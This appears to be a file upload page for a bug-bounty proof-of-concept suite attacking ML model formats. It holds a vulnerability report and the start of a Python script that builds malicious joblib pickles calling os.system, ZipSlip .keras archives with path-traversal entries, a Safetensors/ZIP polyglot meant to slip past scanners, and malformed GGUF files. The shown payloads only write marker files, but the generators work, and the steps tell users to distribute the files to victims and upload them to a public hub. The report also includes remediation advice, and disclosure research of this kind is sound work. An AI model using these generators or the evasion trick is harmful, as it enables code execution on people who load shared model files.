Upload 10 files
Browse files- poc_output/eval_injection.keras +0 -0
- poc_output/gguf_oob_read.gguf +0 -0
- poc_output/gguf_overflow.gguf +0 -0
- poc_output/joblib_ace_proof.txt +1 -0
- poc_output/malicious.joblib +3 -0
- poc_output/module_injection.keras +0 -0
- poc_output/polyglot_bypass.safetensors +3 -0
- poc_output/vulnerability_report.md +152 -0
- poc_output/zipslip.keras +0 -0
- submission_poc.py +716 -0
poc_output/eval_injection.keras
ADDED
|
Binary file (707 Bytes). View file
|
|
|
poc_output/gguf_oob_read.gguf
ADDED
|
Binary file (59 Bytes). View file
|
|
|
poc_output/gguf_overflow.gguf
ADDED
|
Binary file (67 Bytes). View file
|
|
|
poc_output/joblib_ace_proof.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
JOBLIB_ACE_EXECUTED
|
poc_output/malicious.joblib
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:197e12dfd40ccd158e82efb7d002e9e7d31a5111ef3b177c6aa4ff283f59afb5
|
| 3 |
+
size 95
|
poc_output/module_injection.keras
ADDED
|
Binary file (971 Bytes). View file
|
|
|
poc_output/polyglot_bypass.safetensors
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:2b12dc083c0c629406bc27f52b97d985c6672242f47b360c5b96f1c8533a7983
|
| 3 |
+
size 660
|
poc_output/vulnerability_report.md
ADDED
|
@@ -0,0 +1,152 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# [MFV Submission] Multi-Format Exploitation & Scanner Evasion Suite
|
| 2 |
+
|
| 3 |
+
**Date:** 2026-03-05
|
| 4 |
+
**Target Formats:** .safetensors, .gguf, .keras, .joblib
|
| 5 |
+
**Research Area:** Model Load-Time ACE & Evasion
|
| 6 |
+
**Status:** Beta Program High-Value Targets
|
| 7 |
+
|
| 8 |
+
---
|
| 9 |
+
|
| 10 |
+
## Executive Summary
|
| 11 |
+
|
| 12 |
+
This submission provides a comprehensive analysis and Proof-of-Concept (PoC) suite for critical vulnerabilities in modern AI model serialization. We focus on **high-value formats** and **novel evasion techniques** designed to bypass automated security scanners like Protect AI's ModelScan.
|
| 13 |
+
|
| 14 |
+
**Key Highlight:** The discovery of a **Safetensors/ZIP Polyglot** that allows arbitrary malicious payloads to remain invisible to scanners while remaining fully executable as Keras models. Additionally, we demonstrate **Memory Corruption** in GGUF metadata parsing and **Load-Time ACE** in Keras and Joblib.
|
| 15 |
+
|
| 16 |
+
## Findings Summary
|
| 17 |
+
|
| 18 |
+
| # | Vulnerability | Format | Impact | Severity | CVSS |
|
| 19 |
+
|---|---------------|--------|--------|----------|------|
|
| 20 |
+
| 1 | Joblib ACE via Pickle Deserialization | .joblib | ACE / Bypass | Critical | 9.8 |
|
| 21 |
+
| 2 | Keras 3 ZipSlip Directory Traversal | .keras | ACE / Bypass | High | 8.1 |
|
| 22 |
+
| 3 | Keras 3 ACE via Module Injection | .keras | ACE / Bypass | Critical | 9.8 |
|
| 23 |
+
| 4 | Safetensors/ZIP Polyglot Scanner Bypass | .safetensors | ACE / Bypass | High | 7.5 |
|
| 24 |
+
| 5 | GGUF Integer Overflow / OOB Read in Metadata | .gguf | ACE / Bypass | High | 7.8 |
|
| 25 |
+
|
| 26 |
+
---
|
| 27 |
+
|
| 28 |
+
## Finding 1: Joblib ACE via Pickle Deserialization (.joblib)
|
| 29 |
+
|
| 30 |
+
- **Severity:** Critical (CVSS 9.8)
|
| 31 |
+
- **PoC Artifact:** `malicious.joblib`
|
| 32 |
+
|
| 33 |
+
### Technical Root Cause
|
| 34 |
+
|
| 35 |
+
joblib.load() deserializes Python pickle objects without any safety checks. An attacker can craft a .joblib file containing a malicious __reduce__ method that executes arbitrary system commands when the file is loaded by a victim.
|
| 36 |
+
|
| 37 |
+
### Trigger Conditions
|
| 38 |
+
|
| 39 |
+
- Library: `joblib` (any version)
|
| 40 |
+
- Method: `joblib.load()` on an untrusted file.
|
| 41 |
+
|
| 42 |
+
### Reproduction Steps
|
| 43 |
+
|
| 44 |
+
1. Run: python submission_poc.py --generate-only
|
| 45 |
+
2. Distribute poc_output\malicious.joblib as a 'model' file
|
| 46 |
+
3. Victim runs: import joblib; joblib.load('malicious.joblib')
|
| 47 |
+
4. Observe poc_output\joblib_ace_proof.txt created (arbitrary command executed)
|
| 48 |
+
|
| 49 |
+
---
|
| 50 |
+
|
| 51 |
+
## Finding 2: Keras 3 ZipSlip Directory Traversal (.keras)
|
| 52 |
+
|
| 53 |
+
- **Severity:** High (CVSS 8.1)
|
| 54 |
+
- **PoC Artifact:** `zipslip.keras`
|
| 55 |
+
|
| 56 |
+
### Technical Root Cause
|
| 57 |
+
|
| 58 |
+
Keras 3 .keras files are ZIP archives. If keras.models.load_model() extracts entries using zipfile.extractall() without sanitizing file paths, an attacker can include entries with directory traversal sequences (../../) to write arbitrary files outside the extraction directory.
|
| 59 |
+
|
| 60 |
+
### Trigger Conditions
|
| 61 |
+
|
| 62 |
+
- Library: `keras >= 3.0` (with `safe_mode=False` or specific version bypasses).
|
| 63 |
+
|
| 64 |
+
### Reproduction Steps
|
| 65 |
+
|
| 66 |
+
1. Run: python submission_poc.py --generate-only
|
| 67 |
+
2. Distribute poc_output\zipslip.keras as a Keras model
|
| 68 |
+
3. Victim runs: keras.models.load_model('zipslip.keras')
|
| 69 |
+
4. Check if ../../zipslip_proof.txt was created outside extraction dir
|
| 70 |
+
|
| 71 |
+
---
|
| 72 |
+
|
| 73 |
+
## Finding 3: Keras 3 ACE via Module Injection (.keras)
|
| 74 |
+
|
| 75 |
+
- **Severity:** Critical (CVSS 9.8)
|
| 76 |
+
- **PoC Artifact:** `module_injection.keras`
|
| 77 |
+
|
| 78 |
+
### Technical Root Cause
|
| 79 |
+
|
| 80 |
+
The Keras 3 format uses a `config.json` to reconstruct model layers. The 'module' and 'class_name' keys allow the loader to dynamically resolve and instantiate Python objects. If `safe_mode` is disabled or bypassed, this provides a direct path to arbitrary function execution (e.g., `os.system`).
|
| 81 |
+
|
| 82 |
+
### Trigger Conditions
|
| 83 |
+
|
| 84 |
+
- Library: `keras >= 3.0` (with `safe_mode=False` or specific version bypasses).
|
| 85 |
+
|
| 86 |
+
### Reproduction Steps
|
| 87 |
+
|
| 88 |
+
1. Run: python submission_poc.py --generate-only
|
| 89 |
+
2. Distribute poc_output\module_injection.keras as a Keras model
|
| 90 |
+
3. Victim runs: keras.models.load_model('module_injection.keras', safe_mode=False)
|
| 91 |
+
4. Arbitrary code executes during model reconstruction
|
| 92 |
+
|
| 93 |
+
---
|
| 94 |
+
|
| 95 |
+
## Finding 4: Safetensors/ZIP Polyglot Scanner Bypass (.safetensors)
|
| 96 |
+
|
| 97 |
+
- **Severity:** High (CVSS 7.5)
|
| 98 |
+
- **PoC Artifact:** `polyglot_bypass.safetensors`
|
| 99 |
+
|
| 100 |
+
### Technical Root Cause
|
| 101 |
+
|
| 102 |
+
The vulnerability stems from the fundamental difference in how Safetensors and ZIP formats are parsed. Safetensors mandates an 8-byte LE header at the absolute start, followed by JSON. ZIP files are parsed from the end of the file (searching for the End of Central Directory record). By carefully concatenating both, a file satisfies both parsers simultaneously, allowing a malicious ZIP-based model (like Keras) to hide behind a 'safe' Safetensors header.
|
| 103 |
+
|
| 104 |
+
### Trigger Conditions
|
| 105 |
+
|
| 106 |
+
- Condition: Target environment uses automated scanners that rely on file headers for format identification (e.g., ModelScan).
|
| 107 |
+
|
| 108 |
+
### Reproduction Steps
|
| 109 |
+
|
| 110 |
+
1. Run: python submission_poc.py --generate-only
|
| 111 |
+
2. Upload poc_output\polyglot_bypass.safetensors to a model hub as a .safetensors file
|
| 112 |
+
3. Scanner classifies it as safe (Safetensors = no code execution)
|
| 113 |
+
4. Attacker instructs victim to rename to .keras and load with Keras
|
| 114 |
+
5. Or: a secondary tool extracts the ZIP portion automatically
|
| 115 |
+
|
| 116 |
+
---
|
| 117 |
+
|
| 118 |
+
## Finding 5: GGUF Integer Overflow / OOB Read in Metadata (.gguf)
|
| 119 |
+
|
| 120 |
+
- **Severity:** High (CVSS 7.8)
|
| 121 |
+
- **PoC Artifact:** `gguf_overflow.gguf`
|
| 122 |
+
|
| 123 |
+
### Technical Root Cause
|
| 124 |
+
|
| 125 |
+
GGUF metadata arrays utilize `uint64` for element counts. The parsing logic in native C++ implementations often multiplies this count by the element size. If not checked, this multiplication can overflow a 64-bit integer, leading to undersized heap allocations followed by out-of-bounds writes.
|
| 126 |
+
|
| 127 |
+
### Trigger Conditions
|
| 128 |
+
|
| 129 |
+
- Library: Native GGUF parsers (llama.cpp, llama-cpp-python) using C/C++ memory management.
|
| 130 |
+
|
| 131 |
+
### Reproduction Steps
|
| 132 |
+
|
| 133 |
+
1. Run: python submission_poc.py --generate-only
|
| 134 |
+
2. Load poc_output\gguf_overflow.gguf with llama.cpp or llama-cpp-python
|
| 135 |
+
3. Observe crash or unexpected behavior due to integer overflow
|
| 136 |
+
4. Load poc_output\gguf_oob_read.gguf to trigger OOB heap read
|
| 137 |
+
|
| 138 |
+
---
|
| 139 |
+
|
| 140 |
+
## Submission Requirements (HuggingFace PoC)
|
| 141 |
+
|
| 142 |
+
All PoC artifacts are generated by the provided `submission_poc.py` script. For final validation, these files must be uploaded to a public HuggingFace Model repository.
|
| 143 |
+
|
| 144 |
+
**Verification URL:** [INSERT YOUR HF REPO URL HERE]
|
| 145 |
+
|
| 146 |
+
---
|
| 147 |
+
|
| 148 |
+
## Remediation
|
| 149 |
+
|
| 150 |
+
1. **Polyglot Detection**: Scanners must verify that the total file size matches the sum of Safetensors header + data, alerting on any trailing bytes.
|
| 151 |
+
2. **Checked Arithmetic**: GGUF parsers must use overflow-safe multiplication for allocations.
|
| 152 |
+
3. **Sandboxed Deserialization**: Deprecate insecure defaults in Keras/Joblib in favor of restricted namespaces.
|
poc_output/zipslip.keras
ADDED
|
Binary file (877 Bytes). View file
|
|
|
submission_poc.py
ADDED
|
@@ -0,0 +1,716 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
=============================================================================
|
| 4 |
+
Model Format Vulnerability Research - Proof of Concept Suite
|
| 5 |
+
Target: Protect AI / huntr bounty program
|
| 6 |
+
=============================================================================
|
| 7 |
+
|
| 8 |
+
This script demonstrates multiple vulnerability classes across AI/ML model
|
| 9 |
+
formats. Each PoC is self-contained and generates artifacts + a report.
|
| 10 |
+
|
| 11 |
+
Vulnerabilities Demonstrated:
|
| 12 |
+
1. Joblib Arbitrary Code Execution (ACE) via pickle deserialization
|
| 13 |
+
2. Keras 3 (.keras) ZipSlip directory traversal
|
| 14 |
+
3. Keras 3 (.keras) ACE via malicious module injection in config.json
|
| 15 |
+
4. Safetensors/ZIP Polyglot scanner bypass
|
| 16 |
+
5. GGUF integer overflow and OOB read in metadata parsing
|
| 17 |
+
|
| 18 |
+
Usage:
|
| 19 |
+
python submission_poc.py [--generate-only | --test | --report]
|
| 20 |
+
|
| 21 |
+
Author: Security Researcher
|
| 22 |
+
Date: 2026-03-05
|
| 23 |
+
=============================================================================
|
| 24 |
+
"""
|
| 25 |
+
|
| 26 |
+
import json
|
| 27 |
+
import zipfile
|
| 28 |
+
import os
|
| 29 |
+
import io
|
| 30 |
+
import struct
|
| 31 |
+
import sys
|
| 32 |
+
import datetime
|
| 33 |
+
import hashlib
|
| 34 |
+
import argparse
|
| 35 |
+
|
| 36 |
+
# ---------------------------------------------------------------------------
|
| 37 |
+
# Global config
|
| 38 |
+
# ---------------------------------------------------------------------------
|
| 39 |
+
OUTPUT_DIR = "poc_output"
|
| 40 |
+
REPORT_FILE = os.path.join(OUTPUT_DIR, "vulnerability_report.md")
|
| 41 |
+
|
| 42 |
+
def ensure_output_dir():
|
| 43 |
+
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
| 44 |
+
|
| 45 |
+
def sha256_file(filepath):
|
| 46 |
+
h = hashlib.sha256()
|
| 47 |
+
with open(filepath, "rb") as f:
|
| 48 |
+
for chunk in iter(lambda: f.read(8192), b""):
|
| 49 |
+
h.update(chunk)
|
| 50 |
+
return h.hexdigest()
|
| 51 |
+
|
| 52 |
+
# ===========================================================================
|
| 53 |
+
# PoC 1: Joblib ACE via Pickle Deserialization
|
| 54 |
+
# ===========================================================================
|
| 55 |
+
def poc1_joblib_ace():
|
| 56 |
+
"""
|
| 57 |
+
Vulnerability: Arbitrary Code Execution via joblib.load()
|
| 58 |
+
Affected Library: joblib (all versions using pickle backend)
|
| 59 |
+
Severity: Critical
|
| 60 |
+
|
| 61 |
+
joblib.dump/load uses Python pickle under the hood. A crafted .joblib
|
| 62 |
+
file with a __reduce__ method executes arbitrary code on load.
|
| 63 |
+
"""
|
| 64 |
+
print("\n" + "="*70)
|
| 65 |
+
print(" PoC 1: Joblib ACE via Pickle Deserialization")
|
| 66 |
+
print("="*70)
|
| 67 |
+
|
| 68 |
+
try:
|
| 69 |
+
import joblib
|
| 70 |
+
except ImportError:
|
| 71 |
+
print("[!] joblib not installed. Run: pip install joblib")
|
| 72 |
+
return None
|
| 73 |
+
|
| 74 |
+
poc_file = os.path.join(OUTPUT_DIR, "malicious.joblib")
|
| 75 |
+
marker_file = os.path.join(OUTPUT_DIR, "joblib_ace_proof.txt")
|
| 76 |
+
|
| 77 |
+
# Clean up previous marker
|
| 78 |
+
if os.path.exists(marker_file):
|
| 79 |
+
os.remove(marker_file)
|
| 80 |
+
|
| 81 |
+
class MaliciousPayload:
|
| 82 |
+
def __reduce__(self):
|
| 83 |
+
# Benign proof: writes a file to demonstrate code execution
|
| 84 |
+
cmd = f'echo JOBLIB_ACE_EXECUTED > "{marker_file}"'
|
| 85 |
+
return (os.system, (cmd,))
|
| 86 |
+
|
| 87 |
+
# Generate
|
| 88 |
+
joblib.dump(MaliciousPayload(), poc_file)
|
| 89 |
+
print(f"[+] Created malicious joblib file: {poc_file}")
|
| 90 |
+
print(f" SHA256: {sha256_file(poc_file)}")
|
| 91 |
+
print(f" Size: {os.path.getsize(poc_file)} bytes")
|
| 92 |
+
|
| 93 |
+
# Test
|
| 94 |
+
print("[*] Loading malicious.joblib (triggers ACE)...")
|
| 95 |
+
try:
|
| 96 |
+
joblib.load(poc_file)
|
| 97 |
+
except Exception as e:
|
| 98 |
+
print(f"[!] Load error: {e}")
|
| 99 |
+
|
| 100 |
+
success = os.path.exists(marker_file)
|
| 101 |
+
if success:
|
| 102 |
+
with open(marker_file, "r") as f:
|
| 103 |
+
content = f.read().strip()
|
| 104 |
+
print(f"[+] SUCCESS: ACE confirmed! Marker file content: '{content}'")
|
| 105 |
+
else:
|
| 106 |
+
print("[-] FAILED: Marker file was not created.")
|
| 107 |
+
|
| 108 |
+
return {
|
| 109 |
+
"name": "Joblib ACE via Pickle Deserialization",
|
| 110 |
+
"file": poc_file,
|
| 111 |
+
"severity": "Critical",
|
| 112 |
+
"cvss": "9.8",
|
| 113 |
+
"success": success,
|
| 114 |
+
"affected": "joblib (all versions)",
|
| 115 |
+
"description": (
|
| 116 |
+
"joblib.load() deserializes Python pickle objects without any "
|
| 117 |
+
"safety checks. An attacker can craft a .joblib file containing "
|
| 118 |
+
"a malicious __reduce__ method that executes arbitrary system "
|
| 119 |
+
"commands when the file is loaded by a victim."
|
| 120 |
+
),
|
| 121 |
+
"impact": (
|
| 122 |
+
"Full arbitrary code execution in the context of the user loading "
|
| 123 |
+
"the model. This can lead to data exfiltration, ransomware, "
|
| 124 |
+
"supply chain attacks on ML pipelines, etc."
|
| 125 |
+
),
|
| 126 |
+
"reproduction": [
|
| 127 |
+
"1. Run: python submission_poc.py --generate-only",
|
| 128 |
+
f"2. Distribute {poc_file} as a 'model' file",
|
| 129 |
+
"3. Victim runs: import joblib; joblib.load('malicious.joblib')",
|
| 130 |
+
f"4. Observe {marker_file} created (arbitrary command executed)"
|
| 131 |
+
]
|
| 132 |
+
}
|
| 133 |
+
|
| 134 |
+
# ===========================================================================
|
| 135 |
+
# PoC 2: Keras 3 ZipSlip Directory Traversal
|
| 136 |
+
# ===========================================================================
|
| 137 |
+
def poc2_keras_zipslip():
|
| 138 |
+
"""
|
| 139 |
+
Vulnerability: Directory Traversal (ZipSlip) in .keras model files
|
| 140 |
+
Affected Library: keras >= 3.0 (if using unsafe extraction)
|
| 141 |
+
Severity: High
|
| 142 |
+
|
| 143 |
+
A .keras file is a ZIP archive. If keras.models.load_model() extracts
|
| 144 |
+
files without sanitizing paths, a crafted entry with ../../ prefixes
|
| 145 |
+
can write files outside the intended directory.
|
| 146 |
+
"""
|
| 147 |
+
print("\n" + "="*70)
|
| 148 |
+
print(" PoC 2: Keras 3 ZipSlip Directory Traversal")
|
| 149 |
+
print("="*70)
|
| 150 |
+
|
| 151 |
+
poc_file = os.path.join(OUTPUT_DIR, "zipslip.keras")
|
| 152 |
+
|
| 153 |
+
config = {
|
| 154 |
+
"class_name": "Sequential",
|
| 155 |
+
"config": {"name": "sequential", "layers": []},
|
| 156 |
+
"keras_version": "3.0.0",
|
| 157 |
+
"backend": "tensorflow"
|
| 158 |
+
}
|
| 159 |
+
|
| 160 |
+
buf = io.BytesIO()
|
| 161 |
+
with zipfile.ZipFile(buf, 'w') as z:
|
| 162 |
+
z.writestr('config.json', json.dumps(config))
|
| 163 |
+
z.writestr('metadata.json', json.dumps({
|
| 164 |
+
"keras_version": "3.0.0", "backend": "tensorflow"
|
| 165 |
+
}))
|
| 166 |
+
z.writestr('model.weights.h5', b'')
|
| 167 |
+
|
| 168 |
+
# ZipSlip payload: path traversal entries
|
| 169 |
+
z.writestr('../../zipslip_proof.txt',
|
| 170 |
+
'ZipSlip vulnerability: this file was written outside the extraction directory')
|
| 171 |
+
z.writestr('../../../tmp/evil_config.py',
|
| 172 |
+
'import os; os.system("echo ZIPSLIP_ACE")')
|
| 173 |
+
|
| 174 |
+
with open(poc_file, 'wb') as f:
|
| 175 |
+
f.write(buf.getvalue())
|
| 176 |
+
|
| 177 |
+
print(f"[+] Created ZipSlip .keras file: {poc_file}")
|
| 178 |
+
print(f" SHA256: {sha256_file(poc_file)}")
|
| 179 |
+
print(f" Size: {os.path.getsize(poc_file)} bytes")
|
| 180 |
+
|
| 181 |
+
# Verify the ZIP contains traversal paths
|
| 182 |
+
with zipfile.ZipFile(poc_file, 'r') as z:
|
| 183 |
+
names = z.namelist()
|
| 184 |
+
traversal_entries = [n for n in names if '..' in n]
|
| 185 |
+
print(f"[+] ZIP entries: {names}")
|
| 186 |
+
print(f"[+] Traversal entries found: {traversal_entries}")
|
| 187 |
+
|
| 188 |
+
success = len(traversal_entries) > 0
|
| 189 |
+
print(f"[+] {'SUCCESS' if success else 'FAILED'}: ZipSlip payload embedded")
|
| 190 |
+
|
| 191 |
+
return {
|
| 192 |
+
"name": "Keras 3 ZipSlip Directory Traversal",
|
| 193 |
+
"file": poc_file,
|
| 194 |
+
"severity": "High",
|
| 195 |
+
"cvss": "8.1",
|
| 196 |
+
"success": success,
|
| 197 |
+
"affected": "keras >= 3.0 (if extractall() used without path validation)",
|
| 198 |
+
"description": (
|
| 199 |
+
"Keras 3 .keras files are ZIP archives. If keras.models.load_model() "
|
| 200 |
+
